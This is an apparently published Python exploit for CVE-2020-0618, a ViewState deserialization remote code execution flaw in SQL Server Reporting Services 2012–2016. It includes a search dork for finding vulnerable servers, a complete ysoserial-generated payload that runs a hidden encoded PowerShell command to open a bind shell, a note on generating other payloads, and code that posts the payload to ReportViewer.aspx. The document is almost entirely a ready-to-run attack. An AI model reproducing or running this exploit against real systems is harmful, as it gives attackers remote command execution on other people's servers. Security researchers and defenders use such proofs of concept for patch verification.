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# Exploit Title: Microsoft SQL Server Reporting Services 2016 - Remote Code Execution # Google Dork: inurl:ReportViewer.aspx # Date: 2020-09-17 # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: Microsoft SQL Server 2016 32-bit/x64 SP2 (CU/GDR), Microsoft SQL Server 2014 32-bit/x64 SP3 (CU/GDR), Microsoft SQL Server 2012 32-bit/x64 SP2 (QFE) # Tested on: Windows 2016 # CVE : CVE-2020-0618 # Credit goes to Soroush Dalili # Source: # https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618 # https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ #!/usr/bin/python from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests_ntlm import HttpNtlmAuth import argparse, requests, logging from bs4 import BeautifulSoup from sys import argv, exit, stderr, stdout # to create a payload (default is bindshell on 0.0.0.0:65535): # .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command..." class Exploit: payload = '/wEy4hYAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAqAUvYyBwb3dlcnNoZWxsLmV4ZSAtZXhlYyBieXBhc3MgLW5vbmludGVyYWN0aXZlIC1ub2V4aXQgLXdpbmRvd3N0eWxlIGhpZGRlbiAtYyBpZXgoW3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6ZGVmYXVsdC5nZXRzdHJpbmcoW3N5c3RlbS5jb252ZXJ0XTo6ZnJvbWJhc2U2NHN0cmluZygnSkdFOVczTjVjM1JsYlM1dVpYUXVjMjlqYTJWMGN5NTBZM0JzYVhOMFpXNWxjbDAyTlRVek5Uc2tZUzV6ZEdGeWRDZ3BPeVJqUFNSaExtRmpZMlZ3ZEhSamNHTnNhV1Z1ZENncE95UmxQU1JqTG1kbGRITjBjbVZoYlNncE8xdGllWFJsVzExZEpHYzlNQzR1TmpVMU16VjhKWHN3ZlR0M2FHbHNaU2dvSkdnOUpHVXVjbVZoWkNna1p5d3dMQ1JuTG14bGJtZDBhQ2twTFc1bElEQXBleVJzUFNodVpYY3RiMkpxWldOMElDMTBlWEJsYm1GdFpTQnplWE4wWlcwdWRHVjRkQzVoYzJOcGFXVnVZMjlrYVc1bktTNW5aWFJ6ZEhKcGJtY29KR2NzTUN3a2FDazdKRzQ5S0dsbGVDQWtiQ0F5UGlZeGZHOTFkQzF6ZEhKcGJtY3BPeVJ3UFNJa0tDUnVLU1FvS0hCM1pDa3VjR0YwYUNrK0lqc2tjVDBvVzNSbGVIUXVaVzVqYjJScGJtZGRPanBoYzJOcGFTa3VaMlYwWW5sMFpYTW9KSEFwT3lSbExuZHlhWFJsS0NSeExEQXNKSEV1YkdWdVozUm9LVHNrWlM1bWJIVnphQ2dwZlRza1l5NWpiRzl6WlNncE95UmhMbk4wYjNBb0tUc05DZz09JykpKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL' timeout = 0.5 cookies = {} params = {} def __init__(self, opt): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) self.username = '%s\\%s' % (opt.domain, opt.username) self.target = '%s%s' % (opt.target, opt.path) self.password = opt.password self.session = requests.session() self.redirect = opt.redirect self.proxies = { 'http': 'http://%s' % opt.proxy, 'https': 'http://%s' % opt.proxy } if opt.proxy != '' else {} self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)', 'Content-Type': 'application/x-www-form-urlencoded' } self.form = { '__VIEWSTATE': '', 'NavigationCorrector$PageState': 'NeedsCorrection', 'NavigationCorrector$ViewState': self.payload } if opt.debug: self.debug() def info(self, message): stdout.write('[+] %s\n' % str(message)) return self def error(self, message): stderr.write('[-] error: %s\n' % str(message)) return self def doGet(self, url, params=None, values=None): self.info('sending get request to %s' % url) try: return self.session.get( url=url, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, data=values, params=params, auth=HttpNtlmAuth(self.username, self.password) ) if self.username != '\\' else self.session.get( url=url, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, data=values, params=params ) except Exception as err: self.error(err) def doPost(self, url, values=None, params=None): self.info('sending post request to %s' % url) try: return self.session.post( url=url, data=values, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, params=params, auth=HttpNtlmAuth(self.username, self.password) ) if self.username != '\\' else self.session.post( url=url, data=values, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, params=params ) except Exception as err: self.error(err) def parsePage(self, content): self.info('parsing form values') soup = BeautifulSoup(content, 'lxml') for tag in soup.select('input'): try: self.form[tag['name']] = tag['value'] except Exception as err: self.error(err) return self def debug(self): self.info('debugging enabled') try: import http.client as http_client except ImportError: import httplib as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger("requests.packages.urllib3") requests_log.setLevel(logging.DEBUG) requests_log.propagate = True return self def getForm(self): self.info('retrieving form values') resp = self.doGet(url=self.target) self.parsePage(content=resp.content) return self def exploit(self): self.info('exploiting target') resp = self.doPost(url=self.target, params=self.params, values=self.form) self.info('received response %d' % resp.status_code) return self if __name__ == '__main__': parser = argparse.ArgumentParser( description='CVE-2020-0618 SQL Server Reporting Services ViewState Deserialization exploit', add_help=True ) try: parser.add_argument('-target', action='store', help='Target address: http(s)://target.com ') parser.add_argument('-username', action='store', default='', help='Username to use: first.last') parser.add_argument('-domain', action='store', default='', help='User domain to use: domain.local') parser.add_argument('-password', action='store', default='', help='Password to use: Summer2020') parser.add_argument('-debug', action='store', default=False, help='Enable debugging: False') parser.add_argument('-redirect', action='store', default=False, help='Follow redirects: False') parser.add_argument('-proxy', action='store', default='', help='Enable proxy: 10.10.10.10:8080') parser.add_argument('-path', action='store', default='/ReportServer/pages/ReportViewer.aspx', help='Path to page') if len(argv) == 1: parser.print_help() exit(1) options = parser.parse_args() Exploit(opt=options).exploit() except Exception as error: stderr.write('[-] error in main %s\n' % str(error)) Regards, West Shepherd OSWE | OSCE | OSCP | OSWP | CEH | Security+ West Lee Shepherd, LLC |
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